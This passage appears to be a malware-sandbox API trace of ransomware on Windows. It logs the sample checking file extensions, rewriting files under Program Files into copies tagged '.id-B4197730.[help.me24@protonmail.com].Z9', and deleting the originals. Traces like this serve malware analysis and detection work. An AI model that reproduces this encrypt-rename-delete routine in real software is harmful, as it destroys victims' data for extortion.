	[0073.112] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0073.130] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-b4197730.[help.me24@protonmail.com].z9")) returned 0
	[0074.057] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.057] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.057] CreateFileW (lpFileName="C:\\Program Files\\desktop.ini.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\desktop.ini.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0074.058] GetLastError () returned 0x0
	[0074.058] ReadFile (in: hFile=0x370, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0xae, lpOverlapped=0x0) returned 1
	[0074.059] WriteFile (in: hFile=0x338, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xb0, lpOverlapped=0x0) returned 1
	[0074.061] ReadFile (in: hFile=0x370, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0074.061] WriteFile (in: hFile=0x338, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xea, lpOverlapped=0x0) returned 1
	[0074.062] SetEndOfFile (hFile=0x338) returned 1
	[0074.062] CloseHandle (hObject=0x338) returned 1
	[0074.063] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.063] SetEndOfFile (hFile=0x370) returned 1
	[0074.078] CloseHandle (hObject=0x370) returned 1
	[0074.079] SetFileAttributesW (lpFileName="C:\\Program Files\\desktop.ini.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x26) returned 1
	[0074.080] DeleteFileW (lpFileName="C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini")) returned 1
	[0074.080] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28
	[0074.081] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28
	[0074.081] lstrlenW (lpString=".doc") returned 4
	[0074.081] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0074.081] lstrlenW (lpString=".docx") returned 5
	[0074.081] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1
	[0074.081] lstrlenW (lpString=".pdf") returned 4
	[0074.081] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1
	[0074.081] lstrlenW (lpString=".xls") returned 4
	[0074.081] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1
	[0074.081] lstrlenW (lpString=".xlsx") returned 5
	[0074.081] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1
	[0074.081] lstrlenW (lpString=".ppt") returned 4
	[0074.081] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1
	[0074.081] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28
	[0074.081] lstrlenW (lpString=".zip") returned 4
	[0074.082] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1
	[0074.082] lstrlenW (lpString=".rar") returned 4
	[0074.082] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1
	[0074.082] lstrlenW (lpString=".bz2") returned 4
	[0074.082] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0074.082] lstrlenW (lpString=".7z") returned 3
	[0074.082] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0074.082] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28
	[0074.082] lstrlenW (lpString=".dbf") returned 4
	[0074.082] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0074.082] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28
	[0074.082] lstrlenW (lpString=".1cd") returned 4
	[0074.082] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
	[0074.082] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28
	[0074.082] lstrlenW (lpString=".jpg") returned 4
	[0074.083] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1
	[0074.083] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28
	[0074.083] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28
	[0074.083] lstrlenW (lpString=".doc") returned 4
	[0074.083] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0074.083] lstrlenW (lpString=".docx") returned 5
	[0074.083] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1
	[0074.083] lstrlenW (lpString=".pdf") returned 4
	[0074.083] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1
	[0074.083] lstrlenW (lpString=".xls") returned 4
	[0074.083] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1
	[0074.083] lstrlenW (lpString=".xlsx") returned 5
	[0074.083] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1
	[0074.083] lstrlenW (lpString=".ppt") returned 4
	[0074.083] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1
	[0074.083] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28
	[0074.084] lstrlenW (lpString=".zip") returned 4
	[0074.084] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1
	[0074.084] lstrlenW (lpString=".rar") returned 4
	[0074.084] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1
	[0074.084] lstrlenW (lpString=".bz2") returned 4
	[0074.084] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0074.084] lstrlenW (lpString=".7z") returned 3
	[0074.084] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0074.084] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28
	[0074.084] lstrlenW (lpString=".dbf") returned 4
	[0074.084] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0074.084] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28
	[0074.084] lstrlenW (lpString=".1cd") returned 4
	[0074.084] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
	[0074.084] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28
	[0074.084] lstrlenW (lpString=".jpg") returned 4
	[0074.084] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1
	[0074.085] lstrcmpiW (lpString1=".gif", lpString2=".Z9") returned -1
	[0074.085] lstrlenW (lpString="splash.gif") returned 10
	[0074.085] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0074.405] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=8590) returned 1
	[0074.405] CloseHandle (hObject=0x320) returned 1
	[0074.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif")) returned 0x20
	[0074.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0074.405] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0074.405] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.405] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.405] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0074.783] GetLastError () returned 0x0
	[0074.783] ReadFile (in: hFile=0x320, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x218e, lpOverlapped=0x0) returned 1
	[0074.791] WriteFile (in: hFile=0x358, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x2190, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x2190, lpOverlapped=0x0) returned 1
	[0074.792] ReadFile (in: hFile=0x320, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0074.792] WriteFile (in: hFile=0x358, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xe8, lpOverlapped=0x0) returned 1
	[0074.792] SetEndOfFile (hFile=0x358) returned 1
	[0074.792] CloseHandle (hObject=0x358) returned 1
	[0074.793] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.793] SetEndOfFile (hFile=0x320) returned 1
	[0074.794] CloseHandle (hObject=0x320) returned 1
	[0074.794] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0074.794] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif")) returned 1
	[0074.795] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56
	[0074.795] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56
	[0074.795] lstrlenW (lpString=".doc") returned 4
	[0074.795] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0074.795] lstrlenW (lpString=".docx") returned 5
	[0074.795] lstrcmpiW (lpString1=".docx", lpString2="h.gif") returned -1
	[0074.795] lstrlenW (lpString=".pdf") returned 4
	[0074.795] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0074.795] lstrlenW (lpString=".xls") returned 4
	[0074.795] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0074.795] lstrlenW (lpString=".xlsx") returned 5
	[0074.795] lstrcmpiW (lpString1=".xlsx", lpString2="h.gif") returned -1
	[0074.795] lstrlenW (lpString=".ppt") returned 4
	[0074.795] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0074.795] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56
	[0074.795] lstrlenW (lpString=".zip") returned 4
	[0074.795] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0074.795] lstrlenW (lpString=".rar") returned 4
	[0074.795] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0074.795] lstrlenW (lpString=".bz2") returned 4
	[0074.795] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0074.795] lstrlenW (lpString=".7z") returned 3
	[0074.795] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0074.795] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56
	[0074.795] lstrlenW (lpString=".dbf") returned 4
	[0074.795] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0074.795] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56
	[0074.795] lstrlenW (lpString=".1cd") returned 4
	[0074.795] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0074.795] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56
	[0074.795] lstrlenW (lpString=".jpg") returned 4
	[0074.795] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0074.796] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56
	[0074.796] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56
	[0074.796] lstrlenW (lpString=".doc") returned 4
	[0074.796] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0074.796] lstrlenW (lpString=".docx") returned 5
	[0074.796] lstrcmpiW (lpString1=".docx", lpString2="h.gif") returned -1
	[0074.796] lstrlenW (lpString=".pdf") returned 4
	[0074.796] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0074.796] lstrlenW (lpString=".xls") returned 4
	[0074.796] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0074.796] lstrlenW (lpString=".xlsx") returned 5
	[0074.796] lstrcmpiW (lpString1=".xlsx", lpString2="h.gif") returned -1
	[0074.796] lstrlenW (lpString=".ppt") returned 4
	[0074.796] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0074.796] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56
	[0074.796] lstrlenW (lpString=".zip") returned 4
	[0074.796] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0074.796] lstrlenW (lpString=".rar") returned 4
	[0074.796] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0074.796] lstrlenW (lpString=".bz2") returned 4
	[0074.796] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0074.796] lstrlenW (lpString=".7z") returned 3
	[0074.796] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0074.796] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56
	[0074.796] lstrlenW (lpString=".dbf") returned 4
	[0074.796] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0074.796] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56
	[0074.796] lstrlenW (lpString=".1cd") returned 4
	[0074.796] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0074.796] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56
	[0074.796] lstrlenW (lpString=".jpg") returned 4
	[0074.796] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0074.797] lstrcmpiW (lpString1=".gif", lpString2=".Z9") returned -1
	[0074.797] lstrlenW (lpString="win32_MoveDrop32x32.gif") returned 23
	[0074.797] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0075.204] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=147) returned 1
	[0075.204] CloseHandle (hObject=0x364) returned 1
	[0075.218] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif")) returned 0x20
	[0075.218] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0075.218] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0075.219] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.247] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.247] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0075.248] GetLastError () returned 0x0
	[0075.248] ReadFile (in: hFile=0x364, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x93, lpOverlapped=0x0) returned 1
	[0075.249] WriteFile (in: hFile=0x360, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xa0, lpOverlapped=0x0) returned 1
	[0075.250] ReadFile (in: hFile=0x364, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0075.250] WriteFile (in: hFile=0x360, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x102, lpOverlapped=0x0) returned 1
	[0075.250] SetEndOfFile (hFile=0x360) returned 1
	[0075.250] CloseHandle (hObject=0x360) returned 1
	[0075.252] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.252] SetEndOfFile (hFile=0x364) returned 1
	[0075.253] CloseHandle (hObject=0x364) returned 1
	[0075.253] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0075.255] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif")) returned 1
	[0075.255] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77
	[0075.255] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77
	[0075.255] lstrlenW (lpString=".doc") returned 4
	[0075.255] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0075.255] lstrlenW (lpString=".docx") returned 5
	[0075.255] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1
	[0075.255] lstrlenW (lpString=".pdf") returned 4
	[0075.255] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0075.255] lstrlenW (lpString=".xls") returned 4
	[0075.255] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0075.255] lstrlenW (lpString=".xlsx") returned 5
	[0075.255] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1
	[0075.255] lstrlenW (lpString=".ppt") returned 4
	[0075.255] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0075.255] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77
	[0075.256] lstrlenW (lpString=".zip") returned 4
	[0075.256] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0075.256] lstrlenW (lpString=".rar") returned 4
	[0075.256] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0075.256] lstrlenW (lpString=".bz2") returned 4
	[0075.256] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0075.256] lstrlenW (lpString=".7z") returned 3
	[0075.256] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0075.256] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77
	[0075.256] lstrlenW (lpString=".dbf") returned 4
	[0075.256] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0075.256] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77
	[0075.256] lstrlenW (lpString=".1cd") returned 4
	[0075.256] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0075.256] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77
	[0075.256] lstrlenW (lpString=".jpg") returned 4
	[0075.256] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0075.256] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77
	[0075.256] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77
	[0075.256] lstrlenW (lpString=".doc") returned 4
	[0075.256] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0075.256] lstrlenW (lpString=".docx") returned 5
	[0075.256] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1
	[0075.256] lstrlenW (lpString=".pdf") returned 4
	[0075.256] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0075.256] lstrlenW (lpString=".xls") returned 4
	[0075.256] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0075.256] lstrlenW (lpString=".xlsx") returned 5
	[0075.257] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1
	[0075.257] lstrlenW (lpString=".ppt") returned 4
	[0075.257] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0075.257] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77
	[0075.257] lstrlenW (lpString=".zip") returned 4
	[0075.257] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0075.257] lstrlenW (lpString=".rar") returned 4
	[0075.257] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0075.257] lstrlenW (lpString=".bz2") returned 4
	[0075.257] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0075.257] lstrlenW (lpString=".7z") returned 3
	[0075.257] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0075.257] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77
	[0075.257] lstrlenW (lpString=".dbf") returned 4
	[0075.257] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0075.257] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77
	[0075.257] lstrlenW (lpString=".1cd") returned 4
	[0075.257] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0075.257] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77
	[0075.257] lstrlenW (lpString=".jpg") returned 4
	[0075.257] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0075.257] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0075.257] lstrlenW (lpString="FileSystemMetadata.xml") returned 22
	[0075.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0075.258] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=281) returned 1
	[0075.258] CloseHandle (hObject=0x364) returned 1
	[0075.258] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml")) returned 0x220
	[0075.258] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0075.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0075.258] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.258] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
